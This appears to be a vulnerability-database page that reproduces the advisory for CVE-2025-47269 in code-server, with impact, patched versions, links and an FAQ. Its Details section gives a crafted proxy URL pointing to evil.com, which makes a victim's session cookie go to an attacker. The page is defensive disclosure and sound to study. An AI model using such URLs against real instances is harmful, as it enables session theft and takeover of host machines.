CVE-2025-47269: code-server session cookie can be extracted by having user visit specially crafted proxy URL
First published: Fri May 09 2025(Updated: )
### Summary A maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token. ### Details Failure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. ### Impact Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. ### Patches Patched versions are from [v4.99.4](https://github.com/coder/code-server/releases/tag/v4.99.4) onward.
Credit: security-advisories@github.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| npm/code-server | <4.99.4 | 4.99.4 |
Never miss a vulnerability like this again
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
Reference Links
- https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj
- https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e
- https://github.com/coder/code-server/releases/tag/v4.99.4
- https://nvd.nist.gov/vuln/detail/CVE-2025-47269
- https://github.com/advisories/GHSA-p483-wpfp-42cj (Advisory)
Frequently Asked Questions
What is the severity of CVE-2025-47269?
CVE-2025-47269 is a critical vulnerability that can lead to unauthorized access to session tokens.
How do I fix CVE-2025-47269?
To mitigate CVE-2025-47269, update to code-server version 4.99.4 or later.
What kind of attack does CVE-2025-47269 facilitate?
CVE-2025-47269 facilitates attacks that involve proxying requests to arbitrary domains, potentially compromising user session security.
Is my version of code-server affected by CVE-2025-47269?
If you are using a version of code-server prior to 4.99.4, you are affected by CVE-2025-47269.
What component is primarily impacted by CVE-2025-47269?
CVE-2025-47269 primarily impacts the proxy subpath of the code-server application.
- agent/weakness
- agent/softwarecombine
- agent/first-publish-date
- collector/mitre-cve
- source/MITRE
- agent/title
- agent/description
- agent/type
- collector/nvd-api
- source/NVD
- collector/nvd-cve
- agent/references
- collector/github-advisory-latest
- source/GitHub
- alias/GHSA-p483-wpfp-42cj
- alias/CVE-2025-47269
- agent/software-canonical-lookup
- agent/severity
- agent/author
- agent/last-modified-date
- agent/event
- collector/epss-latest
- source/FIRST
- agent/source
- agent/tags
- agent/epss
- package-manager/npm